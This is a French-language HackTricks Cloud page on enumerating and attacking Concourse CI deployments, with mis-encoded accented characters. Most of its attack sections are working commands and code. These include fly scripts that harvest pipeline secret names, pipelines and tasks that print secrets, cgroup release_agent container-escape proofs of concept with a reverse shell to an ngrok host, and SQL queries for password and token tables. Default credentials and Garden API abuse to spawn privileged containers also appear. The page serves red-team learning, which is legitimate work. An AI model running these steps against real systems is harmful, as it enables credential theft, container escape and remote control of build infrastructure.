Concourse Enumeration & Attacks
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
Concourse Enumeration & Attacks
User Roles & Permissions
Concourse vient avec cinq rĂŽles :
- Concourse Admin : Ce rĂŽle est uniquement attribuĂ© aux propriĂ©taires de lâĂ©quipe principale (Ă©quipe concourse initiale par dĂ©faut). Les admins peuvent configurer dâautres Ă©quipes (par exemple :
fly set-team,fly destroy-teamâŠ). Les permissions de ce rĂŽle ne peuvent pas ĂȘtre affectĂ©es par RBAC. - owner : Les propriĂ©taires dâĂ©quipe peuvent modifier tout au sein de lâĂ©quipe.
- member : Les membres de lâĂ©quipe peuvent lire et Ă©crire au sein des ressources de lâĂ©quipe mais ne peuvent pas modifier les paramĂštres de lâĂ©quipe.
- pipeline-operator : Les opérateurs de pipeline peuvent effectuer des opérations de pipeline telles que déclencher des builds et épingler des ressources, cependant ils ne peuvent pas mettre à jour les configurations de pipeline.
- viewer : Les visualisateurs dâĂ©quipe ont un accĂšs âlecture seuleâ Ă une Ă©quipe et Ă ses pipelines.
Note
De plus, les permissions des rĂŽles owner, member, pipeline-operator et viewer peuvent ĂȘtre modifiĂ©es en configurant RBAC (en configurant plus spĂ©cifiquement ses actions). Lisez-en plus Ă ce sujet dans : https://concourse-ci.org/user-roles.html
Notez que Concourse groupe les pipelines Ă lâintĂ©rieur des Ă©quipes. Par consĂ©quent, les utilisateurs appartenant Ă une Ă©quipe pourront gĂ©rer ces pipelines et plusieurs Ă©quipes peuvent exister. Un utilisateur peut appartenir Ă plusieurs Ă©quipes et avoir des permissions diffĂ©rentes Ă lâintĂ©rieur de chacune dâelles.
Vars & Credential Manager
Dans les configurations YAML, vous pouvez configurer des valeurs en utilisant la syntaxe ((_source-name_:_secret-path_._secret-field_)).
Selon la documentation : Le source-name est optionnel, et sâil est omis, le gestionnaire de credentials Ă lâĂ©chelle du cluster sera utilisĂ©, ou la valeur peut ĂȘtre fournie statiquement.
Le _secret-field optionnel_ spĂ©cifie un champ sur le secret rĂ©cupĂ©rĂ© Ă lire. Sâil est omis, le gestionnaire de credentials peut choisir de lire un âchamp par dĂ©fautâ du credential rĂ©cupĂ©rĂ© si le champ existe.
De plus, le secret-path et secret-field peuvent ĂȘtre entourĂ©s de guillemets doubles "..." sâils contiennent des caractĂšres spĂ©ciaux comme . et :. Par exemple, ((source:"my.secret"."field:1")) dĂ©finira le secret-path sur my.secret et le secret-field sur field:1.
Static Vars
Les vars statiques peuvent ĂȘtre spĂ©cifiĂ©es dans les Ă©tapes de tĂąches :
- task: unit-1.13
file: booklit/ci/unit.yml
vars: { tag: 1.13 }
Ou en utilisant les fly arguments suivants :
-vou--varNAME=VALUEdĂ©finit la chaĂźneVALUEcomme valeur pour la varNAME.-you--yaml-varNAME=VALUEanalyseVALUEcomme YAML et le dĂ©finit comme valeur pour la varNAME.-iou--instance-varNAME=VALUEanalyseVALUEcomme YAML et le dĂ©finit comme valeur pour la var dâinstanceNAME. Voir Grouping Pipelines pour en savoir plus sur les vars dâinstance.-lou--load-vars-fromFILEchargeFILE, un document YAML contenant le mappage des noms de vars aux valeurs, et les dĂ©finit tous.
Gestion des Identifiants
Il existe diffĂ©rentes maniĂšres de spĂ©cifier un Gestionnaire dâIdentifiants dans un pipeline, lisez comment dans https://concourse-ci.org/creds.html.
De plus, Concourse prend en charge diffĂ©rents gestionnaires dâidentifiants :
- Le gestionnaire dâidentifiants Vault
- Le gestionnaire dâidentifiants CredHub
- Le gestionnaire dâidentifiants AWS SSM
- Le gestionnaire dâidentifiants AWS Secrets Manager
- Gestionnaire dâIdentifiants Kubernetes
- Le gestionnaire dâidentifiants Conjur
- Mise en cache des identifiants
- Rédaction des identifiants
- Réessayer les récupérations échouées
Caution
Notez que si vous avez un certain type dâaccĂšs en Ă©criture Ă Concourse, vous pouvez crĂ©er des jobs pour exfiltrer ces secrets car Concourse doit pouvoir y accĂ©der.
ĂnumĂ©ration Concourse
Pour Ă©numĂ©rer un environnement concourse, vous devez dâabord rassembler des identifiants valides ou trouver un jeton authentifiĂ©, probablement dans un fichier de configuration .flyrc.
Connexion et Ă©numĂ©ration de lâutilisateur actuel
- Pour vous connecter, vous devez connaĂźtre lâendpoint, le nom de lâĂ©quipe (par dĂ©faut
main) et une Ă©quipe Ă laquelle lâutilisateur appartient : fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]- Obtenez les cibles configurĂ©es :
fly targets- Vérifiez si la connexion cible configurée est toujours valide :
fly -t <target> status- Obtenez le rĂŽle de lâutilisateur par rapport Ă la cible indiquĂ©e :
fly -t <target> userinfo
Note
Notez que le jeton API est enregistré par défaut dans
$HOME/.flyrc, en fouillant une machine, vous pourriez y trouver les identifiants.
Ăquipes & Utilisateurs
- Obtenez une liste des Ăquipes
fly -t <target> teams- Obtenez les rĂŽles au sein de lâĂ©quipe
fly -t <target> get-team -n <team-name>- Obtenez une liste des utilisateurs
fly -t <target> active-users
Pipelines
- Liste des pipelines :
fly -t <target> pipelines -a- Obtenez le yaml du pipeline (des informations sensibles peuvent ĂȘtre trouvĂ©es dans la dĂ©finition) :
fly -t <target> get-pipeline -p <pipeline-name>- Obtenez toutes les vars déclarées dans la config du pipeline
for pipename in $(fly -t <target> pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t <target> get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done- Obtenez tous les noms de secrets de pipelines utilisés (si vous pouvez créer/modifier un job ou détourner un conteneur, vous pourriez les exfiltrer) :
rm /tmp/secrets.txt;
for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do
echo $pipename;
fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt;
echo "";
done
echo ""
echo "ALL SECRETS"
cat /tmp/secrets.txt | sort | uniq
rm /tmp/secrets.txt
Conteneurs & Travailleurs
- Lister travailleurs :
fly -t <target> workers- Lister conteneurs :
fly -t <target> containers- Lister builds (pour voir ce qui est en cours dâexĂ©cution) :
fly -t <target> builds
Attaques Concourse
Brute-Force des Identifiants
- admin:admin
- test:test
ĂnumĂ©ration des secrets et paramĂštres
Dans la section précédente, nous avons vu comment vous pouvez obtenir tous les noms et variables des secrets utilisés par le pipeline. Les variables peuvent contenir des informations sensibles et le nom des secrets sera utile plus tard pour essayer de les voler.
Session Ă lâintĂ©rieur dâun conteneur en cours dâexĂ©cution ou rĂ©cemment exĂ©cutĂ©
Si vous avez suffisamment de privilĂšges (rĂŽle de membre ou plus), vous pourrez lister les pipelines et les rĂŽles et simplement obtenir une session Ă lâintĂ©rieur du conteneur <pipeline>/<job> en utilisant :
fly -t tutorial intercept --job pipeline-name/job-name
fly -t tutorial intercept # To be presented a prompt with all the options
Avec ces permissions, vous pourriez ĂȘtre en mesure de :
- Voler les secrets Ă lâintĂ©rieur du conteneur
- Essayer de sâĂ©chapper vers le nĆud
- ĂnumĂ©rer/Abuser de lâendpoint cloud metadata (depuis le pod et depuis le nĆud, si possible)
Création/Modification de Pipeline
Si vous avez suffisamment de privilÚges (rÎle de membre ou plus), vous pourrez créer/modifier de nouveaux pipelines. Consultez cet exemple :
jobs:
- name: simple
plan:
- task: simple-task
privileged: true
config:
# Tells Concourse which type of worker this task should run on
platform: linux
image_resource:
type: registry-image
source:
repository: busybox # images are pulled from docker hub by default
run:
path: sh
args:
- -cx
- |
echo "$SUPER_SECRET"
sleep 1000
params:
SUPER_SECRET: ((super.secret))
Avec la modification/crĂ©ation dâun nouveau pipeline, vous pourrez :
- Voler les secrets (en les affichant ou en accédant au conteneur et en exécutant
env) - Ăchapper au nĆud (en vous donnant suffisamment de privilĂšges -
privileged: true) - ĂnumĂ©rer/Abuser de lâendpoint de mĂ©tadonnĂ©es cloud (depuis le pod et depuis le nĆud)
- Supprimer le pipeline créé
Exécuter une tùche personnalisée
Câest similaire Ă la mĂ©thode prĂ©cĂ©dente, mais au lieu de modifier/crĂ©er un tout nouveau pipeline, vous pouvez juste exĂ©cuter une tĂąche personnalisĂ©e (ce qui sera probablement beaucoup plus discret) :
# For more task_config options check https://concourse-ci.org/tasks.html
platform: linux
image_resource:
type: registry-image
source:
repository: ubuntu
run:
path: sh
args:
- -cx
- |
env
sleep 1000
params:
SUPER_SECRET: ((super.secret))
fly -t tutorial execute --privileged --config task_config.yml
Ăvasion vers le nĆud depuis une tĂąche privilĂ©giĂ©e
Dans les sections prĂ©cĂ©dentes, nous avons vu comment exĂ©cuter une tĂąche privilĂ©giĂ©e avec concourse. Cela ne donnera pas au conteneur exactement le mĂȘme accĂšs que le drapeau privilĂ©giĂ© dans un conteneur docker. Par exemple, vous ne verrez pas le pĂ©riphĂ©rique du systĂšme de fichiers du nĆud dans /dev, donc lâĂ©vasion pourrait ĂȘtre plus âcomplexeâ.
Dans le PoC suivant, nous allons utiliser le release_agent pour échapper avec quelques petites modifications :
# Mounts the RDMA cgroup controller and create a child cgroup
# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
# It's because your setup doesn't have the memory cgroup controller, try change memory to rdma to fix it
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
# Enables cgroup notifications on release of the "x" cgroup
echo 1 > /tmp/cgrp/x/notify_on_release
# CHANGE ME
# The host path will look like the following, but you need to change it:
host_path="/mnt/vda1/hostpath-provisioner/default/concourse-work-dir-concourse-release-worker-0/overlays/ae7df0ca-0b38-4c45-73e2-a9388dcb2028/rootfs"
## The initial path "/mnt/vda1" is probably the same, but you can check it using the mount command:
#/dev/vda1 on /scratch type ext4 (rw,relatime)
#/dev/vda1 on /tmp/build/e55deab7 type ext4 (rw,relatime)
#/dev/vda1 on /etc/hosts type ext4 (rw,relatime)
#/dev/vda1 on /etc/resolv.conf type ext4 (rw,relatime)
## Then next part I think is constant "hostpath-provisioner/default/"
## For the next part "concourse-work-dir-concourse-release-worker-0" you need to know how it's constructed
# "concourse-work-dir" is constant
# "concourse-release" is the consourse prefix of the current concourse env (you need to find it from the API)
# "worker-0" is the name of the worker the container is running in (will be usually that one or incrementing the number)
## The final part "overlays/bbedb419-c4b2-40c9-67db-41977298d4b3/rootfs" is kind of constant
# running `mount | grep "on / " | grep -Eo "workdir=([^,]+)"` you will see something like:
# workdir=/concourse-work-dir/overlays/work/ae7df0ca-0b38-4c45-73e2-a9388dcb2028
# the UID is the part we are looking for
# Then the host_path is:
#host_path="/mnt/<device>/hostpath-provisioner/default/concourse-work-dir-<concourse_prefix>-worker-<num>/overlays/<UID>/rootfs"
# Sets release_agent to /path/payload
echo "$host_path/cmd" > /tmp/cgrp/release_agent
#====================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/0.tcp.ngrok.io/14966 0>&1" >> /cmd
chmod a+x /cmd
#====================================
# Get output
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#====================================
# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
# Reads the output
cat /output
Warning
Comme vous lâavez peut-ĂȘtre remarquĂ©, il sâagit simplement dâune Ă©vasion rĂ©guliĂšre de release_agent en modifiant simplement le chemin de la cmd dans le nĆud
Ăvasion vers le nĆud depuis un conteneur Worker
Une évasion réguliÚre de release_agent avec une légÚre modification suffit pour cela :
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
# Enables cgroup notifications on release of the "x" cgroup
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab | head -n 1`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
#====================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/0.tcp.ngrok.io/14966 0>&1" >> /cmd
chmod a+x /cmd
#====================================
# Get output
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#====================================
# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
# Reads the output
cat /output
Ăvasion vers le nĆud depuis le conteneur Web
MĂȘme si le conteneur web a certaines dĂ©fenses dĂ©sactivĂ©es, il ne fonctionne pas comme un conteneur privilĂ©giĂ© commun (par exemple, vous ne pouvez pas monter et les capacitĂ©s sont trĂšs limitĂ©es, donc toutes les façons simples de sâĂ©chapper du conteneur sont inutiles).
Cependant, il stocke des identifiants locaux en texte clair :
cat /concourse-auth/local-users
test:test
env | grep -i local_user
CONCOURSE_MAIN_TEAM_LOCAL_USER=test
CONCOURSE_ADD_LOCAL_USER=test:test
Vous pouvez utiliser ces identifiants pour vous connecter au serveur web et crĂ©er un conteneur privilĂ©giĂ© et Ă©chapper au nĆud.
Dans lâenvironnement, vous pouvez Ă©galement trouver des informations pour accĂ©der Ă lâinstance postgresql que concourse utilise (adresse, nom dâutilisateur, mot de passe et base de donnĂ©es parmi dâautres informations) :
env | grep -i postg
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_ADDR=10.107.191.238
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_PORT=5432
CONCOURSE_RELEASE_POSTGRESQL_SERVICE_PORT_TCP_POSTGRESQL=5432
CONCOURSE_POSTGRES_USER=concourse
CONCOURSE_POSTGRES_DATABASE=concourse
CONCOURSE_POSTGRES_PASSWORD=concourse
[...]
# Access the postgresql db
psql -h 10.107.191.238 -U concourse -d concourse
select * from password; #Find hashed passwords
select * from access_tokens;
select * from auth_code;
select * from client;
select * from refresh_token;
select * from teams; #Change the permissions of the users in the teams
select * from users;
Abuser du service Garden - Pas une vraie attaque
Warning
Ce ne sont que quelques notes intĂ©ressantes sur le service, mais comme il nâĂ©coute que sur localhost, ces notes nâauront aucun impact que nous nâavons pas dĂ©jĂ exploitĂ© auparavant.
Par dĂ©faut, chaque worker concourse exĂ©cutera un service Garden sur le port 7777. Ce service est utilisĂ© par le Web master pour indiquer au worker ce quâil doit exĂ©cuter (tĂ©lĂ©charger lâimage et exĂ©cuter chaque tĂąche). Cela semble plutĂŽt bon pour un attaquant, mais il y a quelques bonnes protections :
- Il est exposĂ© localement (127..0.0.1) et je pense que lorsque le worker sâauthentifie contre le Web avec le service SSH spĂ©cial, un tunnel est créé afin que le serveur web puisse communiquer avec chaque service Garden Ă lâintĂ©rieur de chaque worker.
- Le serveur web surveille les conteneurs en cours dâexĂ©cution toutes les quelques secondes, et les conteneurs inattendus sont supprimĂ©s. Donc, si vous voulez exĂ©cuter un conteneur personnalisĂ©, vous devez interfĂ©rer avec la communication entre le serveur web et le service garden.
Les workers concourse sâexĂ©cutent avec des privilĂšges Ă©levĂ©s de conteneur :
Container Runtime: docker
Has Namespaces:
pid: true
user: false
AppArmor Profile: kernel
Capabilities:
BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
Seccomp: disabled
Cependant, des techniques comme monter le pĂ©riphĂ©rique /dev du nĆud ou release_agent ne fonctionneront pas (car le vĂ©ritable pĂ©riphĂ©rique avec le systĂšme de fichiers du nĆud nâest pas accessible, seulement un virtuel). Nous ne pouvons pas accĂ©der aux processus du nĆud, donc sâĂ©chapper du nĆud sans exploits du noyau devient compliquĂ©.
Note
Dans la section prĂ©cĂ©dente, nous avons vu comment sâĂ©chapper dâun conteneur privilĂ©giĂ©, donc si nous pouvons exĂ©cuter des commandes dans un conteneur privilĂ©giĂ© créé par le travailleur actuel, nous pourrions sâĂ©chapper vers le nĆud.
Notez quâen jouant avec concourse, jâai remarquĂ© que lorsquâun nouveau conteneur est créé pour exĂ©cuter quelque chose, les processus du conteneur sont accessibles depuis le conteneur du travailleur, donc câest comme un conteneur crĂ©ant un nouveau conteneur Ă lâintĂ©rieur de lui.
Entrer dans un conteneur privilĂ©giĂ© en cours dâexĂ©cution
# Get current container
curl 127.0.0.1:7777/containers
{"Handles":["ac793559-7f53-4efc-6591-0171a0391e53","c6cae8fc-47ed-4eab-6b2e-f3bbe8880690"]}
# Get container info
curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/info
curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/properties
# Execute a new process inside a container
## In this case "sleep 20000" will be executed in the container with handler ac793559-7f53-4efc-6591-0171a0391e53
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
# OR instead of doing all of that, you could just get into the ns of the process of the privileged container
nsenter --target 76011 --mount --uts --ipc --net --pid -- sh
Créer un nouveau conteneur privilégié
Vous pouvez trĂšs facilement crĂ©er un nouveau conteneur (il suffit dâexĂ©cuter un UID alĂ©atoire) et dâexĂ©cuter quelque chose dessus :
curl -X POST http://127.0.0.1:7777/containers \
-H 'Content-Type: application/json' \
-d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}'
# Wget will be stucked there as long as the process is being executed
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
Cependant, le serveur web vĂ©rifie toutes les quelques secondes les conteneurs en cours dâexĂ©cution, et si un conteneur inattendu est dĂ©couvert, il sera supprimĂ©. Comme la communication se fait en HTTP, vous pourriez altĂ©rer la communication pour Ă©viter la suppression de conteneurs inattendus :
GET /containers HTTP/1.1.
Host: 127.0.0.1:7777.
User-Agent: Go-http-client/1.1.
Accept-Encoding: gzip.
.
T 127.0.0.1:7777 -> 127.0.0.1:59722 [AP] #157
HTTP/1.1 200 OK.
Content-Type: application/json.
Date: Thu, 17 Mar 2022 22:42:55 GMT.
Content-Length: 131.
.
{"Handles":["123ae8fc-47ed-4eab-6b2e-123458880690","ac793559-7f53-4efc-6591-0171a0391e53","c6cae8fc-47ed-4eab-6b2e-f3bbe8880690"]}
T 127.0.0.1:59722 -> 127.0.0.1:7777 [AP] #159
DELETE /containers/123ae8fc-47ed-4eab-6b2e-123458880690 HTTP/1.1.
Host: 127.0.0.1:7777.
User-Agent: Go-http-client/1.1.
Accept-Encoding: gzip.
Références
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

